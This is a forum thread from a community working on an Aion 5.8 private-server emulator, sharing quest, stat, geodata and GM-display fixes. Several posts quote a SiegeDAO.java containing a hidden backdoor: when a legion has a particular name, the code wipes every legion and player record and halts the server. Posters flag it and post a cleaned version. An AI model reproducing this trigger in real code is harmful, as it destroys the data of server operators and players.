Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

Aion 5.8 emulator improvement community project

RaGEZONE VIP
[VIP] Member
Joined
Dec 6, 2013
Messages
387
Reaction score
794
<event name="Code Red: Atreia" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Homeward Bound Event" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Doppelgangers" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Event Growth" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
Ok, I got it now, thanks for the explanation. I did not realize the events_config.xml file had been updated, and thought them spawning in my game now was due to the main jar file.
 
Initiate Mage
Joined
Aug 11, 2022
Messages
44
Reaction score
140
Fixes for two early ely missions:

_1002Request_Of_The_Elim – This bug exists in almost every public emu - if you turn in the axes to Noah and then leave the dialog at the wrong page, the quest will either forever break for your character or wipe all progress you made in the current session. That shouldn’t happen anymore.

_1005Barring_The_Gate – Your character destroys generators and the portal by using the power of fancy dancing. While this is really funny, this stuff doesn’t happen on retail and should probably considered to be a bug, so I fixed it.
 

Attachments

  • aion58 ely quests .zip
    3.6 KB · Views: 32
Elite Diviner
Joined
May 25, 2020
Messages
480
Reaction score
211
Im still wondering why no one correct this nasty piece of code in SiegeDao.java
Was mentionet long time ago in files 7.5 encom :D
Here file with correction that will save your time from restoring legion table wiped together with them memebers :D .
 

Attachments

  • SiegeDAO.rar
    796 bytes · Views: 27
Legendary Battlemage
Top Poster Of Month
Joined
Oct 5, 2018
Messages
648
Reaction score
967
Im still wondering why no one correct this nasty piece of code in SiegeDao.java
Was mentionet long time ago in files 7.5 encom :D
Here file with correction that will save your time from restoring legion table wiped together with them memebers :D .
here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?

here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?
So now reading the post I understand ours has the problem I will replace it thank you.
 
Last edited:
Elite Diviner
Joined
May 25, 2020
Messages
480
Reaction score
211
here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
1695657204301 - Aion 5.8 emulator improvement community project - RaGEZONE Forums

AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }

Update:

Files added with implementation .
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .


 

Attachments

  • SM_NPC_INFO.rar
    2 KB · Views: 22
Last edited:
RaGEZONE VIP
[VIP] Member
Joined
Dec 6, 2013
Messages
387
Reaction score
794
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .

AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }
Dude, that is awesome! Thanks!
 
Legendary Battlemage
Top Poster Of Month
Joined
Oct 5, 2018
Messages
648
Reaction score
967
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
View attachment 242260
AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }
very top indeed, this will help a lot.
 
RaGEZONE VIP
[VIP] Member
Joined
Dec 6, 2013
Messages
387
Reaction score
794
1. I have added a list of credits to the first page of everyone who has contributed here. We really appreciate it!

2. As for the new test code, it is a huge YES from me. I flew all over several zones looking at the mobs, including several places that I saw "floating" ones before. I found no issues with this code, all npc pathing looked good and no mobs in the air that I could find.

3. Any idea what could be causing this? I have experienced this with a lot of quests. You finish the requirement and can turn it in, but the quest log shows "incomplete":
1695660077104 - Aion 5.8 emulator improvement community project - RaGEZONE Forums
 
Last edited:
Legendary Battlemage
Top Poster Of Month
Joined
Oct 5, 2018
Messages
648
Reaction score
967
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
View attachment 242260
AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }

Update:

Files added with implementation .
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .



I just made a change by adding credit to Magenik to the code. " "
 
Legendary Battlemage
Top Poster Of Month
Joined
Oct 5, 2018
Messages
648
Reaction score
967
Has anyone uploaded this Kortana fix to GitHub? it works now?
I'm still not just testing the quests before putting them on "github" just to make sure that nothing will be incompatible with the code and not have to do the same thing twice in a row.
 
"G-Robson26 Soft"
Member
Joined
Sep 21, 2013
Messages
2,319
Reaction score
2,634
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?


So now reading the post I understand ours has the problem I will replace it thank you.
Yes dezalmado maybe you need to replace it with this code,
which is added in other emulators.
 
"G-Robson26 Soft"
Member
Joined
Sep 21, 2013
Messages
2,319
Reaction score
2,634
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .
I have good memories of this guy here, after all, i've been here since 2013 ;)

An update for npcs:

Now they will properly use magical defense, magical resist, critical rate, block and parry values from their template if those stats are present. I want somebody with good java aion server knowledge to review these changes as it possible that I’m doing things the wrong way. If everything is ok, I will regenerate npc_template with all new stats added.

AttackUtil.java goes to src\com\aionemu\gameserver\controllers\attack

NpcGameStats.java goes to src\com\aionemu\gameserver\model\stats\container

NpcStatsTemplate.java goes to src\com\aionemu\gameserver\model\templates\stats
Your fixes are interesting.
I often say that the two main pillars of Aion Emu are GeoData and Stats.
 
Last edited:
"G-Robson26 Soft"
Member
Joined
Sep 21, 2013
Messages
2,319
Reaction score
2,634
This Geodata has some fixes, please test it.
Here is an example in Cygnea....

Before... Here the Mobs sink down the stairs.
aion_test_1 - Aion 5.8 emulator improvement community project - RaGEZONE Forums


After... Now it's normal :p
aion_test_2 - Aion 5.8 emulator improvement community project - RaGEZONE Forums


Download --->>>>

Enjoy (y)
 
Back
Top